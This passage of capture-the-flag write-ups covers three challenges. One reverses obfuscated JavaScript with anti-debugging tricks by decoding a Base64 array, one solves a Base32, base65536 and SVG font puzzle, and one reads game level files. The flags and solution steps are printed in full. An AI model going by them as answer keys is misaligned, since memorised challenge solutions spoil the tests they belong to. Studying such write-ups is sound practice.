17ee07[_0x492b('0xfd')](_0x658edd,0x6)],_0x179327,0xc040b340);continue;case'\x35\x36':_0xe8cb42=_0x463d65(_0xe8cb42,_0x7af75e,_0x4ee8d5,_0x4d270e,_0x54ca7e[_0x17ee07[_0x492b('0xfe')](_0x658edd,0x4)],_0x5ead1f,0xe7d3fbc8);continue;case'\x35\x37':_0x4ee8d5=_0x17ee07[_0x492b('0xf9')](_0x31a69f,_0x4ee8d5,_0x4d270e,_0xe8cb42,_0x7af75e,_0x54ca7e[_0x658edd+0x8],_0x15b455,0x8771f681);continue;case'\x35\x38':_0x7af75e=_0x17ee07[_0x492b('0xff')](_0x59ea33,_0x7af75e,_0x4ee8d5,_0x4d270e,_0xe8cb42,_0x54ca7e[_0x17ee07[_0x492b('0xfe')](_0x658edd,0x6)],_0x128368,0xa8304613);continue;case'\x35\x39':_0x4d270e=_0x17ee07[_0x492b('0xff')](_0x31a69f,_0x4d270e,_0xe8cb42,_0x7af75e,_0x4ee8d5,_0x54ca7e[_0x17ee07[_0x492b('0x100')](_0x658edd,0x5)],_0x14d485,0xfffa3942);continue;case'\x36\x30':_0x4d270e=_0x17ee07[_0x492b('0x101')](_0x21c145,_0x4d270e,_0xe8cb42,_0x7af75e,_0x4ee8d5,_0x54ca7e[_0x17ee07['\x4a\x78\x75\x4a\x4e'](_0x658edd,0xc)],_0x299e3a,0x655b59c3);continue;case'\x36\x31':_0x7af75e=_0x17ee07[_0x492b('0x101')](_0x21c145,_0x7af75e,_0x4ee8d5,_0x4d270e,_0xe8cb42,_0x54ca7e[_0x17ee07[_0x492b('0x102')](_0x658edd,0x6)],_0x3b7019,0xa3014314);continue;case'\x36\x32':_0x4d270e=_0x17ee07[_0x492b('0x101')](_0x463d65,_0x4d270e,_0xe8cb42,_0x7af75e,_0x4ee8d5,_0x54ca7e[_0x17ee07[_0x492b('0x103')](_0x658edd,0x5)],_0x1e2e42,0xd62f105d);continue;case'\x36\x33':_0x4ee8d5=_0x17ee07[_0x492b('0x101')](_0x21c145,_0x4ee8d5,_0x4d270e,_0xe8cb42,_0x7af75e,_0x54ca7e[_0x17ee07[_0x492b('0x104')](_0x658edd,0xf)],_0x4ed615,0xfe2ce6e0);continue;case'\x36\x34':_0xe8cb42=_0x17ee07[_0x492b('0x105')](_0x59ea33,_0xe8cb42,_0x7af75e,_0x4ee8d5,_0x4d270e,_0x54ca7e[_0x17ee07[_0x492b('0x106')](_0x658edd,0xb)],_0x118641,0x895cd7be);continue;case'\x36\x35':_0x4d270e=_0x31a69f(_0x4d270e,_0xe8cb42,_0x7af75e,_0x4ee8d5,_0x54ca7e[_0x658edd+0x1],_0x14d485,0xa4beea44);continue;case'\x36\x36':_0x4d270e=_0x17ee07[_0x492b('0x105')](_0x59ea33,_0x4d270e,_0xe8cb42,_0x7af75e,_0x4ee8d5,_0x54ca7e[_0x17ee07[_0x492b('0x107')](_0x658edd,0x4)],_0x5930b4,0xf57c0faf);continue;case'\x36\x37':_0x4d270e=_0x17ee07[_0x492b('0x105')](_0x59ea33,_0x4d270e,_0xe8cb42,_0x7af75e,_0x4ee8d5,_0x54ca7e[_0x658edd+0xc],_0x5930b4,0x6b901122);continue;case'\x36\x38':_0x1e1b23=_0x4ee8d5;continue;case'\x36\x39':_0x4d270e=_0x17ee07['\x4d\x55\x50\x45\x75'](_0x463d65,_0x4d270e,_0xe8cb42,_0x7af75e,_0x4ee8d5,_0x54ca7e[_0x658edd+0x1],_0x1e2e42,0xf61e2562);continue;case'\x37\x30':_0xe8cb42=_0x17ee07[_0x492b('0x105')](_0x21c145,_0xe8cb42,_0x7af75e,_0x4ee8d5,_0x4d270e,_0x54ca7e[_0x17ee07[_0x492b('0x108')](_0x658edd,0x5)],_0x1b82f6,0xfc93a039);continue;case'\x37\x31':_0x4ee8d5=_0x17ee07[_0x492b('0x105')](_0x59ea33,_0x4ee8d5,_0x4d270e,_0xe8cb42,_0x7af75e,_0x54ca7e[_0x17ee07[_0x492b('0x108')](_0x658edd,0xd)],_0x402b90,0xfd987193);continue;}break;}}var _0x3b2686=_0x17ee07[_0x492b('0x108')](_0x17ee07[_0x492b('0x109')](_0x17ee07[_0x492b('0x109')](_0x17ee07[_0x492b('0xd8')](_0x2e8f13,_0x4d270e),_0x17ee07[_0x492b('0xd8')](_0x2e8f13,_0xe8cb42)),_0x2e8f13(_0x7af75e)),_0x2e8f13(_0x4ee8d5));return _0x3b2686[_0x492b('0x10a')]();};function _0x3affed(_0x4e4520){var _0x46fb27={'\x6d\x5a\x57\x6f\x6c':function(_0x584be8,_0x9f1cbf){return _0x584be8|_0x9f1cbf;},'\x59\x73\x58\x47\x66':function(_0x23ebaa,_0x110fce){return _0x23ebaa>>_0x110fce;},'\x68\x71\x47\x49\x71':function(_0x18d84a,_0x61f266){return _0x18d84a>>_0x61f266;},'\x73\x50\x54\x55\x63':function(_0x3830bb,_0x51b718){return _0x3830bb&_0x51b718;},'\x6c\x73\x6e\x52\x68':function(_0x1dd002,_0xa696ba){return _0x1dd002===_0xa696ba;},'\x4c\x44\x47\x6b\x4a':_0x492b('0x10b'),'\x72\x73\x61\x55\x79':_0x492b('0x10c'),'\x66\x73\x57\x6e\x70':function(_0x1a77a2,_0x3a261d){return _0x1a77a2^_0x3a261d;},'\x68\x50\x51\x57\x55':function(_0x344b27,_0x571528){return _0x344b27!==_0x571528;},'\x53\x67\x73\x76\x41':_0x492b('0x10d'),'\x78\x74\x41\x56\x41':_0x492b('0x10e'),'\x58\x71\x69\x75\x63':_0x492b('0x10f'),'\x6e\x4f\x68\x72\x73':_0x492b('0x110'),'\x4e\x71\x65\x42\x55':_0x492b('0xbd'),'\x49\x71\x74\x52\x70':function(_0x273acd,_0x384a23){return _0x273acd===_0x384a23;},'\x68\x75\x54\x6c\x66':function(_0x38a85b,_0xb47526){return _0x38a85b%_0xb47526;},'\x42\x43\x6a\x56\x53':function(_0x24e345,_0x322075){return _0x24e345+_0x322075;},'\x66\x4d\x68\x58\x50':_0x492b('0x111'),'\x52\x61\x70\x61\x68':'\x64\x65\x62\x75','\x4a\x79\x53\x4a\x67':_0x492b('0x47'),'\x51\x6c\x6e\x50\x50':_0x492b('0x2d'),'\x65\x75\x57\x44\x54':function(_0x2daf95,_0x16d2d1){return _0x2daf95==_0x16d2d1;},'\x46\x4e\x79\x59\x50':function(_0x165b8e,_0x3fc78b){return _0x165b8e(_0x3fc78b);},'\x4c\x6c\x47\x72\x75':_0x492b('0x2f'),'\x4e\x65\x58\x51\x4c':_0x492b('0x30'),'\x7a\x4f\x57\x57\x54':'\x49\x6f\x4a\x72\x44','\x4d\x41\x44\x6c\x48':_0x492b('0x112')};function _0x1dfea4(_0x2a52fd){var _0x3c8ca8={'\x49\x73\x59\x6d\x4d':function(_0x26de84,_0x5469fb){return _0x46fb27[_0x492b('0x113')](_0x26de84,_0x5469fb);},'\x59\x46\x42\x72\x43':function(_0x3c7187,_0xdcec21){return _0x46fb27[_0x492b('0x113')](_0x3c7187,_0xdcec21);},'\x72\x61\x6b\x78\x79':function(_0x4780ec,_0x10a42c){return _0x46fb27[_0x492b('0x113')](_0x4780ec,_0x10a42c);},'\x52\x45\x61\x6b\x63':function(_0x25e49b,_0x20c3ef){return _0x46fb27[_0x492b('0x114')](_0x25e49b,_0x20c3ef);}};if(_0x46fb27[_0x492b('0x115')](typeof _0x2a52fd,'\x73\x74\x72\x69\x6e\x67')){if(_0x46fb27[_0x492b('0x114')](_0x46fb27['\x53\x67\x73\x76\x41'],_0x46fb27[_0x492b('0x116')])){return function(_0x3e3392){}['\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72'](_0x46fb27[_0x492b('0x117')])[_0x492b('0x14')](_0x46fb27[_0x492b('0x118')]);}else{utftext+=String[_0x492b('0xca')](_0x46fb27[_0x492b('0x119')](_0x46fb27[_0x492b('0x11a')](c,0xc),0xe0));utftext+=String[_0x492b('0xca')](_0x46fb27[_0x492b('0x119')](_0x46fb27[_0x492b('0x11b')](c,0x6)&0x3f,0x80));utftext+=String[_0x492b('0xca')](_0x46fb27[_0x492b('0x119')](_0x46fb27[_0x492b('0x11c')](c,0x3f),0x80));}}else{if(_0x46fb27[_0x492b('0x114')]((''+_0x2a52fd/_0x2a52fd)[_0x46fb27[_0x492b('0x11d')]],0x1)||_0x46fb27[_0x492b('0x11e')](_0x46fb27['\x68\x75\x54\x6c\x66'](_0x2a52fd,0x14),0x0)){(function(){if(_0x46fb27[_0x492b('0x115')](_0x46fb27[_0x492b('0x11f')],_0x46fb27[_0x492b('0x120')])){if(fn){var _0x48f114=fn[_0x492b('0x14')](context,arguments);fn=null;return _0x48f114;}}else{return!![];}}[_0x492b('0x3c')](_0x46fb27['\x42\x43\x6a\x56\x53'](_0x492b('0xc1'),'\x67\x67\x65\x72'))[_0x492b('0x121')](_0x46fb27[_0x492b('0x122')]));}else{(function(){if(_0x3c8ca8[_0x492b('0x123')](_0x492b('0x124'),_0x492b('0x125'))){return![];}else{if(lResult&0x40000000){return _0x3c8ca8['\x49\x73\x59\x6d\x4d'](_0x3c8ca8[_0x492b('0x126')](_0x3c8ca8['\x59\x46\x42\x72\x43'](lResult,0xc0000000),lX8),lY8);}else{return _0x3c8ca8[_0x492b('0x127')](_0x3c8ca8[_0x492b('0x127')](lResult^0x40000000,lX8),lY8);}}}[_0x492b('0x3c')](_0x46fb27[_0x492b('0x128')]+_0x46fb27[_0x492b('0x129')])[_0x492b('0x14')](_0x492b('0xc3')));}}_0x1dfea4(++_0x2a52fd);}try{if(_0x4e4520){return _0x1dfea4;}else{if(_0x46fb27[_0x492b('0x11e')](_0x46fb27['\x7a\x4f\x57\x57\x54'],_0x46fb27[_0x492b('0x12a')])){console[_0x492b('0x33')](_0x46fb27[_0x492b('0x12b')]);var _0x29ef43=document[_0x492b('0x34')]('\x74\x78\x74\x49\x6e\x70\x75\x74');if(_0x46fb27[_0x492b('0x12c')](_0x46fb27[_0x492b('0x12d')](_0x55b67f,_0x29ef43[_0x492b('0x37')]),_0x46fb27[_0x492b('0x12e')])){_0x46fb27[_0x492b('0x12d')](alert,_0x46fb27[_0x492b('0x12f')]);}else{_0x46fb27[_0x492b('0x12d')](alert,_0x492b('0x3f'));}}else{_0x46fb27[_0x492b('0x12d')](_0x1dfea4,0x0);}}}catch(_0x358e80){}}```
With a [Java Deobfuscator](http://jsnice.org/) We got a nice Base64 Array
```var _0x1b00 = ["b0xHcUs=", "WU1tWVY=", "TFhlUnI=", "aW5wdXQ=", "UFl5SkY=", "RWx2dGY=", "amh5cHc=", "bHNIUUc=", "WVZRSXE=", "bHhKWUg=", "SU9aREI=", "Rll5UEo=", "dlRDeW0=", "Y2hhckNvZGVBdA==", "aGVsbG8=", "dHh0SW5wdXQ=", "MzZmMWUzNTRhODY2MjcyODRiNDI0NjU2NmY2YTc4MjM=", "RmxhZyBpczogTUQ1KDEyNy4wLjAuMSk=", "bUtRWkc=", "Y2hCaW0=", "bG9n", "Z2V0RWxlbWVudEJ5SWQ=", "RExRREs=", "Z05obVM=", "dmFsdWU=", "QlBmamE=", "S2tObEM=", "YndSWVc=", "TENxR1Q=", "Y29uc3RydWN0b3I=", "Tm1vYlQ=", "REZwV04=", "WW91IHNob3VsZCB0cnkgbW9yZSE=", "TnRmU1k=", "YmtLVkE=", "dXJaSVQ=", "cU5LdkU=", "UFpOYm8=", "ZUtYQ1M=", "Y0xKaHI=", "Z2dlcg==", "Y0Zma1I=", "TUNYa2U=", "aVZvSVg=", "ZE13cFA=", "YlJaTHk=", "cGlnWFY=", "dHJZTGU=", "TnBLQ3Q=", "ZHdHdG4=", "RFJjRFY=", "YXZwUFY=", "Q0hsd0E=", "WXFuS1M=", "TWJGVWc=", "eWdPV3Q=", "akxFT2I=", "V2NJaEw=", "TUNWUlA=", "SXRRVXo=", "SHJXZFU=", "aWJRQlQ=", "dVdIT0c=", "dUVDRXQ=", "ZFdFRXA=", "U1ZRUmU=", "WnhGTWc=", "UGtzdG0=", "WkN5Yms=", "aW5pdA==", "YmRzYVM=", "bW5UcnA=", "QmhIelM=", "TEJSWXE=", "c2ZwUHM=", "cFRIbG0=", "aFdsdWo=", "dE9sYXU=", "bmpZdmQ=", "T1RjemM=", "aG9FTEo=", "enhOVXI=", "TUFDV2U=", "WEVORmE=", "eld4a1g=", "Q2tuSVI=", "amVXWXI=", "UEtlVEM=", "RUpMc20=", "akZDTFg=", "VUtxeG4=", "T2tQZmk=", "Q29CWEQ=", "YVZLZlg=", "NTl8Mzl8NDV8MTl8Njh8OXwzM3w2MHwyfDI5fDcxfDI3fDN8NDJ8OHw1NHw2NXwxNnw2fDYzfDIzfDM0fDB8NTJ8NDN8NjR8MTV8NDh8MTR8Mzh8NTV8NHw1M3wyOHw1MHw0N3w2Nnw2MnwxMHw0OXw1MXwxN3w0NnwyNHw2MXw1OHwxfDIyfDI2fDd8NDB8Njl8MzV8NzB8Mzd8NDF8MjF8MzJ8MzB8NDR8Njd8NXwxOHwzMXwxMXw1N3wxMnwyMHwxM3wzNnw1NnwyNQ==", "c3BsaXQ=", "Ym56VlI=", "U29xeFc=", "R0p1dWI=", "SUtBT3I=", "bXdSUWk=", "QUJBb1o=", "ZEREa3o=", "VGRoQ3k=", "T1hwR2w=", "dUlIQUE=", "WXZEZXQ=", "QXNyY1A=", "b2pjbk4=", "RXp0SFI=", "aWVEZHQ=", "ekNZQUc=", "UGlvSEY=", "RUVQc04=", "TGJobnQ=", "ZUptdnA=", "YW1Xakk=", "QmVZZUI=", "b216Umc=", "VVZXa2g=", "VmZrb1M=", "U1N0c24=", "U3hxblM=", "d050RmI=", "ZExjZ24=", "bURMY0U=", "YnRxR24=", "aER0eHM=", "SGJPZFE=", "b1VFTng=", "SlVoc0M=", "RkxMbUo=", "SnlEeFQ=", "cldaZ0U=", "aEFzSmg=", "QXZTT0o=", "U1VWcks=", "eUR0ZnM=", "WVlRVko=", "Q3JJeW4=", "MHw4fDE1fDExfDEwfDN8N3w1fDJ8NHwxM3wxMnw5fDZ8MXwxNA==", "eVl1Y08=", "R0RGa1I=", "aERWdVg=", "VkdxT1k=", "R0NRS1E=", "VW5KSW0=", "d3lmaXc=", "dEdTUXY=", "b0tyaVA=", "eFdkQ2M=", "VG5tZG0=", "b3lWQXU=", "dnVWYVI=", "R0ZCbW8=", "aWdpV1Q=", "WmVCRU8=", "YlBNa2M=", "bGVuZ3Ro", "anpDZW8=", "UWhCY28=", "SHZYTVA=", "ZGVidQ==", "ZWtQbUk=", "c3RhdGVPYmplY3Q=", "dG9TdHJpbmc=", "c3Vic3Ry", "RmljZUM=", "cmVwbGFjZQ==", "VmZOYUg=", "dXhkSms=", "ZnJvbUNoYXJDb2Rl", "YXF4SEI=", "eFNLdVU=", "eUlacFU=", "dktpemk=", "Tkt2S0w=", "dmFuclQ=", "U3FTZ2I=", "S2tZUkE=", "TldoQ2M=", "ZmNsWGM=", "TmttV2w=", "Z1VNZ20=", "eGZHTGs=", "V0pYa08=", "NDR8MnwzMXw2OHw5fDMwfDQ2fDUyfDY2fDIwfDU4fDV8Mjd8MTZ8MTF8NjR8Njd8NzF8NTB8NHw2OXw1NXw0OHw0MHw2Mnw4fDIxfDU2fDM1fDM4fDM5fDQyfDEzfDI5fDM0fDE3fDU5fDU3fDE0fDEyfDY1fDI4fDEwfDUxfDE5fDI0fDQ1fDU0fDF8Mzd8MHwyNnwxNXwxOHw1M3w3MHw2MHwzfDIyfDI1fDQ3fDYzfDYxfDZ8MzN8NDF8NDN8N3wzNnwzMnw0OXwyMw==", "Z09zTEw=", "YlZDamo=", "eWZ6V3A=", "SEJqWlg=", "Sk5udEQ=", "RVdqbng=", "Y3h5RXM=", "QVRMR0I=", "Zk1OVks=", "Q3BOR3Y=", "UFdBU0c=", "QWNLV1c=", "amhsQ1M=", "c29Faks=", "dUJrTGY=", "RW5pWlM=", "U3FHSVQ=", "RWFGSGw=", "eG1mSmE=", "Z0JjdUs=", "R3dSemY=", "YWZKanQ=", "bGdNTWE=", "U1dYSXY=", "SFFad0Y=", "R3JzRng=", "TFpIY0g=", "aGlXdkQ=", "VlNaVVQ=", "dWlmZGg=", "WXFzRHI=", "QkZxcVo=", "WGV1ZW8=", "ZWZYeEE=", "Um5ab3I=", "R3lYUkc=", "YWNxWW8=", "VE5Tb2w=", "Snh1Sk4=", "bnVKd0g=", "aHdCZmU=", "dHV3T0o=", "ZGlzY2o=", "TVVQRXU=", "WGpKanU=", "VktrV1g=", "Vm5HRFM=", "d3BpWkY=", "dG9Mb3dlckNhc2U=", "RUZZUXk=", "a1JtalA=", "blFTWnE=", "VlB0VUI=", "d2hpbGUgKHRydWUpIHt9", "Y291bnRlcg==", "YWN0aW9u", "b1N4WFY=", "ZnNXbnA=", "aFBRV1U=", "bHNuUmg=", "eHRBVkE=", "WHFpdWM=", "bk9ocnM=", "bVpXb2w=", "WXNYR2Y=", "aHFHSXE=", "c1BUVWM=", "TnFlQlU=", "SXF0UnA=", "TERHa0o=", "cnNhVXk=", "Y2FsbA==", "Zk1oWFA=", "UkVha2M=", "TGFreEE=", "RG9CaXY=", "SXNZbU0=", "cmFreHk=", "UmFwYWg=", "SnlTSmc=", "TUFEbEg=", "UWxuUFA=", "ZXVXRFQ=", "Rk55WVA=", "TGxHcnU=", "TmVYUUw=", "Y2hhaW4=", "QXpMZEM=", "aUtlWUk=", "bnV5WWo=", "RlNiTUc=", "UHJrVkQ=", "ZnVuY3Rpb24gKlwoICpcKQ==", "cm1haWs=", "VFN6a2E=", "Y3JmY24=", "VHF6c1Y=", "XCtcKyAqKD86XzB4KD86W2EtZjAtOV0pezQsNn18KD86XGJ8XGQpW2EtejAtOV17MSw0fSg/OlxifFxkKSk=", "dGVzdA==", "aUNLb1A=", "UWZqZVI=", "TktYVWw=", "TFJLaEk=", "V25UZUU=", "Z2F1b1M=", "eWJ0VHo=", "YXBwbHk=", "RWpnQk0=", "dFp1Wmo=", "UHpYc0U=", "YlZQcGQ=", "SEdHS2w=", "dG92a2c=", "TExremY=", "ZmRCRXU=", "YktFU2s=", "Y1dZR1o="];
```
Solution with python :) ```pythonimport base64flag = ["b0xHcUs=", "WU1tWVY=", "TFhlUnI=", "aW5wdXQ=", "UFl5SkY=", "RWx2dGY=", "amh5cHc=", "bHNIUUc=", "WVZRSXE=", "bHhKWUg=", "SU9aREI=", "Rll5UEo=", "dlRDeW0=", "Y2hhckNvZGVBdA==", "aGVsbG8=", "dHh0SW5wdXQ=", "MzZmMWUzNTRhODY2MjcyODRiNDI0NjU2NmY2YTc4MjM=", "RmxhZyBpczogTUQ1KDEyNy4wLjAuMSk=", "bUtRWkc=", "Y2hCaW0=", "bG9n", "Z2V0RWxlbWVudEJ5SWQ=", "RExRREs=", "Z05obVM=", "dmFsdWU=", "QlBmamE=", "S2tObEM=", "YndSWVc=", "TENxR1Q=", "Y29uc3RydWN0b3I=", "Tm1vYlQ=", "REZwV04=", "WW91IHNob3VsZCB0cnkgbW9yZSE=", "TnRmU1k=", "YmtLVkE=", "dXJaSVQ=", "cU5LdkU=", "UFpOYm8=", "ZUtYQ1M=", "Y0xKaHI=", "Z2dlcg==", "Y0Zma1I=", "TUNYa2U=", "aVZvSVg=", "ZE13cFA=", "YlJaTHk=", "cGlnWFY=", "dHJZTGU=", "TnBLQ3Q=", "ZHdHdG4=", "RFJjRFY=", "YXZwUFY=", "Q0hsd0E=", "WXFuS1M=", "TWJGVWc=", "eWdPV3Q=", "akxFT2I=", "V2NJaEw=", "TUNWUlA=", "SXRRVXo=", "SHJXZFU=", "aWJRQlQ=", "dVdIT0c=", "dUVDRXQ=", "ZFdFRXA=", "U1ZRUmU=", "WnhGTWc=", "UGtzdG0=", "WkN5Yms=", "aW5pdA==", "YmRzYVM=", "bW5UcnA=", "QmhIelM=", "TEJSWXE=", "c2ZwUHM=", "cFRIbG0=", "aFdsdWo=", "dE9sYXU=", "bmpZdmQ=", "T1RjemM=", "aG9FTEo=", "enhOVXI=", "TUFDV2U=", "WEVORmE=", "eld4a1g=", "Q2tuSVI=", "amVXWXI=", "UEtlVEM=", "RUpMc20=", "akZDTFg=", "VUtxeG4=", "T2tQZmk=", "Q29CWEQ=", "YVZLZlg=", "NTl8Mzl8NDV8MTl8Njh8OXwzM3w2MHwyfDI5fDcxfDI3fDN8NDJ8OHw1NHw2NXwxNnw2fDYzfDIzfDM0fDB8NTJ8NDN8NjR8MTV8NDh8MTR8Mzh8NTV8NHw1M3wyOHw1MHw0N3w2Nnw2MnwxMHw0OXw1MXwxN3w0NnwyNHw2MXw1OHwxfDIyfDI2fDd8NDB8Njl8MzV8NzB8Mzd8NDF8MjF8MzJ8MzB8NDR8Njd8NXwxOHwzMXwxMXw1N3wxMnwyMHwxM3wzNnw1NnwyNQ==", "c3BsaXQ=", "Ym56VlI=", "U29xeFc=", "R0p1dWI=", "SUtBT3I=", "bXdSUWk=", "QUJBb1o=", "ZEREa3o=", "VGRoQ3k=", "T1hwR2w=", "dUlIQUE=", "WXZEZXQ=", "QXNyY1A=", "b2pjbk4=", "RXp0SFI=", "aWVEZHQ=", "ekNZQUc=", "UGlvSEY=", "RUVQc04=", "TGJobnQ=", "ZUptdnA=", "YW1Xakk=", "QmVZZUI=", "b216Umc=", "VVZXa2g=", "VmZrb1M=", "U1N0c24=", "U3hxblM=", "d050RmI=", "ZExjZ24=", "bURMY0U=", "YnRxR24=", "aER0eHM=", "SGJPZFE=", "b1VFTng=", "SlVoc0M=", "RkxMbUo=", "SnlEeFQ=", "cldaZ0U=", "aEFzSmg=", "QXZTT0o=", "U1VWcks=", "eUR0ZnM=", "WVlRVko=", "Q3JJeW4=", "MHw4fDE1fDExfDEwfDN8N3w1fDJ8NHwxM3wxMnw5fDZ8MXwxNA==", "eVl1Y08=", "R0RGa1I=", "aERWdVg=", "VkdxT1k=", "R0NRS1E=", "VW5KSW0=", "d3lmaXc=", "dEdTUXY=", "b0tyaVA=", "eFdkQ2M=", "VG5tZG0=", "b3lWQXU=", "dnVWYVI=", "R0ZCbW8=", "aWdpV1Q=", "WmVCRU8=", "YlBNa2M=", "bGVuZ3Ro", "anpDZW8=", "UWhCY28=", "SHZYTVA=", "ZGVidQ==", "ZWtQbUk=", "c3RhdGVPYmplY3Q=", "dG9TdHJpbmc=", "c3Vic3Ry", "RmljZUM=", "cmVwbGFjZQ==", "VmZOYUg=", "dXhkSms=", "ZnJvbUNoYXJDb2Rl", "YXF4SEI=", "eFNLdVU=", "eUlacFU=", "dktpemk=", "Tkt2S0w=", "dmFuclQ=", "U3FTZ2I=", "S2tZUkE=", "TldoQ2M=", "ZmNsWGM=", "TmttV2w=", "Z1VNZ20=", "eGZHTGs=", "V0pYa08=", "NDR8MnwzMXw2OHw5fDMwfDQ2fDUyfDY2fDIwfDU4fDV8Mjd8MTZ8MTF8NjR8Njd8NzF8NTB8NHw2OXw1NXw0OHw0MHw2Mnw4fDIxfDU2fDM1fDM4fDM5fDQyfDEzfDI5fDM0fDE3fDU5fDU3fDE0fDEyfDY1fDI4fDEwfDUxfDE5fDI0fDQ1fDU0fDF8Mzd8MHwyNnwxNXwxOHw1M3w3MHw2MHwzfDIyfDI1fDQ3fDYzfDYxfDZ8MzN8NDF8NDN8N3wzNnwzMnw0OXwyMw==", "Z09zTEw=", "YlZDamo=", "eWZ6V3A=", "SEJqWlg=", "Sk5udEQ=", "RVdqbng=", "Y3h5RXM=", "QVRMR0I=", "Zk1OVks=", "Q3BOR3Y=", "UFdBU0c=", "QWNLV1c=", "amhsQ1M=", "c29Faks=", "dUJrTGY=", "RW5pWlM=", "U3FHSVQ=", "RWFGSGw=", "eG1mSmE=", "Z0JjdUs=", "R3dSemY=", "YWZKanQ=", "bGdNTWE=", "U1dYSXY=", "SFFad0Y=", "R3JzRng=", "TFpIY0g=", "aGlXdkQ=", "VlNaVVQ=", "dWlmZGg=", "WXFzRHI=", "QkZxcVo=", "WGV1ZW8=", "ZWZYeEE=", "Um5ab3I=", "R3lYUkc=", "YWNxWW8=", "VE5Tb2w=", "Snh1Sk4=", "bnVKd0g=", "aHdCZmU=", "dHV3T0o=", "ZGlzY2o=", "TVVQRXU=", "WGpKanU=", "VktrV1g=", "Vm5HRFM=", "d3BpWkY=", "dG9Mb3dlckNhc2U=", "RUZZUXk=", "a1JtalA=", "blFTWnE=", "VlB0VUI=", "d2hpbGUgKHRydWUpIHt9", "Y291bnRlcg==", "YWN0aW9u", "b1N4WFY=", "ZnNXbnA=", "aFBRV1U=", "bHNuUmg=", "eHRBVkE=", "WHFpdWM=", "bk9ocnM=", "bVpXb2w=", "WXNYR2Y=", "aHFHSXE=", "c1BUVWM=", "TnFlQlU=", "SXF0UnA=", "TERHa0o=", "cnNhVXk=", "Y2FsbA==", "Zk1oWFA=", "UkVha2M=", "TGFreEE=", "RG9CaXY=", "SXNZbU0=", "cmFreHk=", "UmFwYWg=", "SnlTSmc=", "TUFEbEg=", "UWxuUFA=", "ZXVXRFQ=", "Rk55WVA=", "TGxHcnU=", "TmVYUUw=", "Y2hhaW4=", "QXpMZEM=", "aUtlWUk=", "bnV5WWo=", "RlNiTUc=", "UHJrVkQ=", "ZnVuY3Rpb24gKlwoICpcKQ==", "cm1haWs=", "VFN6a2E=", "Y3JmY24=", "VHF6c1Y=", "XCtcKyAqKD86XzB4KD86W2EtZjAtOV0pezQsNn18KD86XGJ8XGQpW2EtejAtOV17MSw0fSg/OlxifFxkKSk=", "dGVzdA==", "aUNLb1A=", "UWZqZVI=", "TktYVWw=", "TFJLaEk=", "V25UZUU=", "Z2F1b1M=", "eWJ0VHo=", "YXBwbHk=", "RWpnQk0=", "dFp1Wmo=", "UHpYc0U=", "YlZQcGQ=", "SEdHS2w=", "dG92a2c=", "TExremY=", "ZmRCRXU=", "YktFU2s=", "Y1dZR1o="];
for i in flag: print(base64.b64decode(i)) ```
```$ python solve.py | grep FlagFlag is: MD5(127.0.0.1)
#flag = uutctf{f528764d624db129b32c21fbca0cb8d6}```
|
# Lost in the jungle
I'm the author of this challenge. This is my thoughts on how to solve the challenge.
We are given a iso file.
```$ file jungle.iso jungle.iso: ISO 9660 CD-ROM filesystem data 'CDROM'```
Let's mount the file and see what we have.
`sudo mount -o loop jungle.iso /mnt/usb`
``` /mnt/usb$ lsjungle.zip/mnt/usb$ file jungle.zip jungle.zip: Zip archive data, at least v1.0 to extract```
We have a zip. Let's extract it.
Unzipping the file we get a ton of segments...
```segment001 segment00164 segment00229 segment00294 segment00359 segment00423segment0010 segment00165 segment0023 segment00295 segment0036 segment00424segment00100 segment00166 segment00230 segment00296 segment00360 segment00425segment00101 segment00167 segment00231 segment00297 segment00361 segment00426segment00102 segment00168 segment00232 segment00298 segment00362 segment00427segment00103 segment00169 segment00233 segment00299 segment00363 segment00428segment00104 segment0017 segment00234 segment003 segment00364 segment00429segment00105 segment00170 segment00235 segment0030 segment00365 segment0043segment00106 segment00171 segment00236 segment00300 segment00366 segment00430segment00107 segment00172 segment00237 segment00301 segment00367 segment00431segment00108 segment00173 segment00238 segment00302 segment00...```
Each segment has some data in it (segment 1)
```output/segment001/6CJYJPHJWG3PBFEUUDU2LKPJ/WW2OLHF5422LLZM4WDU3JIHJ/XGS6TNNH46E3JZVEULTJJMHF/............```
We see segment00001 to segment00431. Each folder contain data hidden in folder names.
If we open the last segment and type `cd segment00431 && find .` we get the following data:
```...XTJBIXD/XC7OPBFA5GYK7Y5YX3TJBPHQ/SSI3HZ4NU4======```
Some people might confuse this data as base64, but it's actually base 32.
```echo -n "hejsan" | base32NBSWU43BNY======```
Base64 data only end with 0,1,2 equal signs.
Putting all the segments together:
```python#!/usr/bin/python
import os
segments = []
for segment in range(1, 434): for root, dirs, files in os.walk("./output/output/segment00" + str(segment) + "/"): path = root.split(os.sep) segment = os.path.basename(root) segments.append(segment)
print "".join(segments)```
Cat the data to a file.
```python verify.py > base32data```
```cat base32data | base32 -d > new_data```
When view cat the file we get a bunch of chinese letters.This is highly likely to be base65536 (https://github.com/qntm/base65536) when you see a lot of chinese letters.
```cat new_data | base65536 -d > more_data```
```$ file more_data more_data: SVG Scalable Vector Graphics image```
Opening the svg file we get a picture of some dude.
Reverse image search gives us:
Googling this guy we find out this:
```The first sans serif font to appear in a type sample book was by William Caslon IV in 1816.```
But where is the flag?
SVG files are editable. Let's open the file in vim and remove the dude and see if there is something hidden below.
If you look closely, you will notice that the font for the text seem to alternate between serif and sans-serif.
Could this be a binary message?
```100001001010100010010000101111101000011010101000100011001111011011010000110100101100100011001000110010101101110001011010110110101100101011100110111001101100001011001110110010100101101011010010110111000101101011001000110100101100110011001100110010101110010011001010110111001110100001011010110011001101111011011100111010001110011001011100110111001101001011000110110010101111101```
Decoding the data:
```import binasciin = int('0b100001001010100010010000101111101000011010101000100011001111011011010000110100101100100011001000110010101101110001011010110110101100101011100110111001101100001011001110110010100101101011010010110111000101101011001000110100101100110011001100110010101110010011001010110111001110100001011010110011001101111011011100111010001110011001011100110111001101001011000110110010101111101', 2) print binascii.unhexlify('%x' % n)```
```BTH_CTF{hidden-message-in-different-fonts.nice}``` |
## Nostalgia (500 pts) (Recon)``` Update:It's a game. Play all LEVELS and get the flag
Hint2: My mapeditor didn't allow me to create certain letters.. Luckily I have a awesome regex for you!
---------I remember this like it was yesterday. Nostalgia ftw!!Flag format is BTH_CTF{md5(???)} where ??? is /[A-Z\^]/Also I think the filename is wrong... Luckily the extension is correct
Given: a file named data.mrg```
The given `.mrg` is a levels file from a game called Gravity defied. Opening it in a [map editor](http://gdtr.net/handbook/tools/) (or spending a very frustrating 30 minutes playing the game) reveales that the tracks are in fact in the shape of letters.
